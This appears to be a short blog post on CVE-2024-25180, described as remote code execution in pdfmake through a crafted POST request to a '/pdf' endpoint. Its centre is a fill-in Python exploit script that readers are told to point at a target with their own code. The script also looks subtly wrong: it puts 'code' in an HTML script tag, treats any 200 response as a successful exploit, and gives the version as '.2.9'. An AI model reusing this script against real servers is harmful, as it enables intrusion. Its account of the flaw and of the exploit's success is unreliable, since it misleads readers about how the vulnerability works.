CVE-2024-25180 - Remote Code Execution Vulnerability in pdfmake .2.9 via Crafted POST Request

A recent vulnerability has been discovered in pdfmake .2.9, which allows a remote attacker to run arbitrary code on the target system. This vulnerability has been assigned the CVE number - CVE-2024-25180. In this article, we'll explore the details of the vulnerability, provide a code snippet to demonstrate the exploit, and link you to the original references.

Description

pdfmake is a popular library for generating PDF documents, and the issue lies in the way it processes incoming POST requests for the '/pdf' endpoint. An attacker can craft a malicious POST request containing arbitrary code, which can then be executed by the server if it's running the affected version of pdfmake.

Exploit Details

To exploit the vulnerability, an attacker can send a POST request to the target's '/pdf' path with a custom payload containing the desired code to execute.

Here's a Python code snippet to demonstrate the exploit

import requests

# Target URL and vulnerable endpoint
url = 'http://target.com/pdf';

# Malicious payload containing the arbitrary code
payload = {
    "data": {
        "code": "<script>YOUR CODE HERE</script>"
    }
}

# Send crafted POST request
response = requests.post(url, json=payload)

# Check for successful exploitation
if response.status_code == 200:
    print("Exploitation successful.")
else:
    print("Exploitation failed. The server might not be vulnerable or running the affected version.")

Replace http://target.com with the relevant target and YOUR CODE HERE with the desired code you want to execute.

Original References

The vulnerability has been reported and published on various platforms, such as MITRE's CVE database and the National Vulnerability Database (NVD). Here are the links to the original references:

1. MITRE CVE: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-25180
2. NVD: https://nvd.nist.gov/vuln/detail/CVE-2024-25180

Conclusion

CVE-2024-25180 presents a critical security risk to servers running the pdfmake .2.9 library. It's essential to apply security updates or patches to address this issue as soon as possible. Make sure to stay informed about known vulnerabilities, and always follow best security practices to protect your systems and data.

Timeline

Published on: 02/29/2024 18:15:16 UTC
Last modified on: 04/19/2024 19:15:06 UTC